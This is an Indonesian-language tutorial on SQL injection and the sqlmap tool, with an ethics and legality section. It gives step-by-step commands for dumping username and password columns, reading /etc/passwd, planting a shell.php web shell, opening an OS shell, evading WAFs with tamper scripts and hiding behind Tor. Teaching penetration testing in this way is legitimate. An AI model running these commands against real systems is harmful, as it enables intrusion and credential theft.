Apa itu SQLMap & Bagaimana Menggunakannya?

sqlmap adalah alat open-source otomatis yang dirancang untuk mendeteksi dan mengeksploitasi kerentanan SQL Injection (SQLi) di aplikasi web. Alat ini sangat populer dan digunakan luas oleh penetration tester, bug bounty hunter, red teamer, hingga pelajar di bidang keamanan siber karena kemampuannya yang canggih, fleksibel, dan mudah digunakan.

Dengan sqlmap, kamu bisa:

– Menemukan kerentanan SQLi

– Mengambil data dari database

– Menjalankan perintah sistem jika database mengizinkan (command execution)

– Upload/download file dari server target

– Dan masih banyak lagi

🔍 Apa itu SQL Injection?

SQL Injection (SQLi) adalah salah satu jenis serangan injeksi paling berbahaya dan umum dalam keamanan aplikasi web. Serangan ini terjadi saat input pengguna yang tidak difilter dengan benar dimasukkan langsung ke dalam kueri SQL. Jika input tersebut dimanipulasi dengan perintah SQL jahat, penyerang dapat mengubah perilaku kueri dan mendapatkan akses tidak sah ke data.

Contoh input berbahaya:

‘ OR 1=1 —

Jika input ini dimasukkan ke dalam form login atau URL, maka query akan selalu bernilai true, yang berarti penyerang bisa login tanpa mengetahui kredensial yang sah.

Contoh query setelah dimodifikasi:

SELECT * FROM users WHERE username = ” OR 1=1 –‘ AND password = ”

Hasilnya? Semua baris dari tabel `users` akan dikembalikan. Jika aplikasi tidak mengantisipasi ini, penyerang bisa login sebagai user pertama atau bahkan admin.

⚙️ Fitur dan Fungsi sqlmap

Berikut fitur utama dari sqlmap:

✅ Deteksi berbagai jenis SQL Injection:

– Boolean-based

– Error-based

– Time-based

– UNION query

– Out-of-band (OOB)

✅ Mengenali jenis database:

– MySQL

– MSSQL

– PostgreSQL

– Oracle

– SQLite

– Firebird

– Sybase, dll

✅ Dump dan eksplorasi data:

– Menampilkan daftar database

– Melihat tabel dalam database

– Melihat kolom dalam tabel

– Dump isi data dalam kolom

✅ Eksekusi perintah OS (jika memungkinkan):

– Menjalankan command di shell target

– Upload/download file

– Membuka backdoor

✅ Opsi lanjutan:

– Gunakan cookies/session

– Custom headers, body POST/PUT

– Proxy/Tor support

– Multi-threading

– Random User-Agent

– Crawling halaman target otomatis

🚀 Cara Menggunakan sqlmap

🔧 1. Persiapan

Di Kali Linux, sqlmap biasanya sudah terinstal. Cek dengan:

sqlmap -h

Jika belum terinstal, bisa download di [https://sqlmap.org](https://sqlmap.org), atau clone via Git:

git clone –depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

cd sqlmap-dev

python3 sqlmap.py -h

🌐 2. Tes URL Target

Misalnya kamu ingin menguji:

http://target.com/page.php?id=1

Coba perintah dasar:

sqlmap -u “http://target.com/page.php?id=1” –batch

Keterangan:

– -u → URL target

– –batch → Menjawab semua prompt otomatis

🔍 3. Melihat Database

Jika target rentan:

sqlmap -u “http://target.com/page.php?id=1” –dbs

Output:

– Daftar nama database yang digunakan

📂 4. Melihat Tabel

Misal kamu tahu nama databasenya `db_users`, cek tabelnya:

sqlmap -u “http://target.com/page.php?id=1” -D db_users –tables

– -D → Menentukan database

📑 5. Melihat Kolom

Misal nama tabelnya `accounts`, cek kolom:

sqlmap -u “http://target.com/page.php?id=1” -D db_users -T accounts –columns

– -T → Menentukan tabel

📥 6. Dump Data

Misal kamu ingin melihat `username` dan `password`:

sqlmap -u “http://target.com/page.php?id=1” -D db_users -T accounts -C username,password –dump

– -C → Menentukan kolom

– –dump → Mengambil datanya

🧠 7. Teknik Tambahan dan Profesional

🔐 Menggunakan Cookie (Session)

Jika target butuh login session:

sqlmap -u “http://target.com/page.php?id=1″ –cookie=”PHPSESSID=abcd1234” –batch

Gunakan tools seperti **Burp Suite** untuk mendapatkan cookie dari request login.

🧪 Testing POST Request

Jika parameter SQL berada di `POST` body:

sqlmap -u “http://target.com/login.php” –data=”username=admin&password=123″ –batch

🌐 Menyembunyikan IP (Proxy)

Jalankan sqlmap via proxy seperti Burp:

sqlmap -u “http://target.com/page.php?id=1″ –proxy=”http://127.0.0.1:8080”

🧅 Menyambung lewat TOR

Jika kamu install TOR, bisa lewat port 9050:

sqlmap -u “http://target.com/page.php?id=1” –tor –tor-type=SOCKS5 –check-tor

Optimalisasi dan Tips Lanjutan

– –level=5 –risk=3 → Scan intensif (lebih banyak parameter & payload)

– –threads=5 → Jalankan beberapa thread paralel (lebih cepat)

– –random-agent → Gunakan User-Agent acak dari daftar sqlmap

– –crawl=1 → Otomatis cari dan eksplorasi link dari halaman awal

– –os-shell → Jika injection bisa jadi RCE, spawn shell interaktif

– –file-read=/etc/passwd → Baca file dari server (jika diizinkan)

– –file-write=./shell.php –file-dest=/var/www/html/shell.php → Upload file ke target

📌 Bypass WAF (Web Application Firewall)

Beberapa target menggunakan WAF untuk memblokir serangan SQL Injection. Sqlmap menyediakan opsi untuk membantu melewati perlindungan ini, seperti –tamper. Tamper script digunakan untuk memodifikasi payload agar terlihat berbeda di mata WAF namun tetap valid secara SQL. Contoh penggunaannya:

sqlmap -u “http://target.com/page.php?id=1” –tamper=space2comment –batch

Tamper script seperti space2comment, between, charunicodeencode, dan lainnya bisa kamu kombinasikan. Untuk mengetahui daftar lengkap, gunakan:

sqlmap –tamper

Namun, perlu dicatat bahwa bypassing WAF tidak selalu berhasil dan memerlukan eksperimen serta pemahaman tentang bagaimana WAF bekerja.

🧪 8. Contoh Skenario Praktis

Kamu mendapat target:

http://vulnerable.site/profile.php?id=5

Langkah uji coba:

1. Cek apakah vulnerable:

sqlmap -u “http://vulnerable.site/profile.php?id=5” –batch

2. Dump database:

sqlmap -u “http://vulnerable.site/profile.php?id=5” –dbs

3. Lihat tabel di database `app_db`:

sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db –tables

4. Lihat kolom tabel `users`:

sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db -T users –columns

5. Dump `email` dan `password`:

sqlmap -u “http://vulnerable.site/profile.php?id=5” -D app_db -T users -C email,password –dump

⚠️ 9. Etika & Legalitas

PENTING BANGET:

Jangan pernah menggunakan sqlmap terhadap:

– Website publik yang bukan milikmu

– Sistem tanpa izin tertulis

– Layanan komersial yang tidak menyediakan bug bounty

Legalitas:

Melanggar bisa menyebabkan:

– Pemblokiran akun ISP

– Pelaporan ke polisi (UU ITE di Indonesia)

– Blacklist di komunitas keamanan siber

Gunakan hanya untuk:

– Lab pribadi (DVWA, BWAPP, WebGoat)

– Platform pelatihan legal (TryHackMe, Hack The Box)

– Program bug bounty resmi (HackerOne, Bugcrowd, dsb)

🧰 10. Integrasi sqlmap dengan Tools Lain

Sqlmap bisa digunakan berdampingan dengan berbagai tools lain dalam workflow penetration testing. Misalnya, kamu bisa menggunakan Nmap untuk memetakan port dan layanan terlebih dahulu, kemudian mengidentifikasi aplikasi web yang berjalan di atasnya. Setelah itu, gunakan Burp Suite untuk memeriksa dan memanipulasi HTTP request, lalu ekspor request tersebut ke file dan menjalankannya dengan sqlmap menggunakan opsi -r. Ini memungkinkan kamu untuk menguji endpoint dengan payload SQLi secara presisi, termasuk parameter tersembunyi dalam body POST, header, atau bahkan JSON.

🧠 11. Belajar Lebih Lanjut

Sqlmap punya dokumentasi lengkap dan aktif di komunitas GitHub-nya. Jika kamu serius, luangkan waktu membaca dokumentasi dan mencoba semua opsi yang ada.

📚 Kesimpulan

sqlmap adalah tools yang sangat powerful untuk belajar, latihan, dan melakukan pengujian keamanan terhadap aplikasi web. Namun, kekuatan ini harus dibarengi dengan **etika dan legalitas**. Gunakan secara bertanggung jawab.

Cocok untuk:

– Pelajar Red Team

– Penetration Tester

– Bug Hunter

– Mahasiswa keamanan siber

Jika kamu serius ingin menjadi offensive security professional, kuasai dasar-dasar SQL dan pahami bagaimana aplikasi web berinteraksi dengan database. Selamat bereksperimen (di tempat yang legal)!

Penulis : rafly permana saputra ramadhan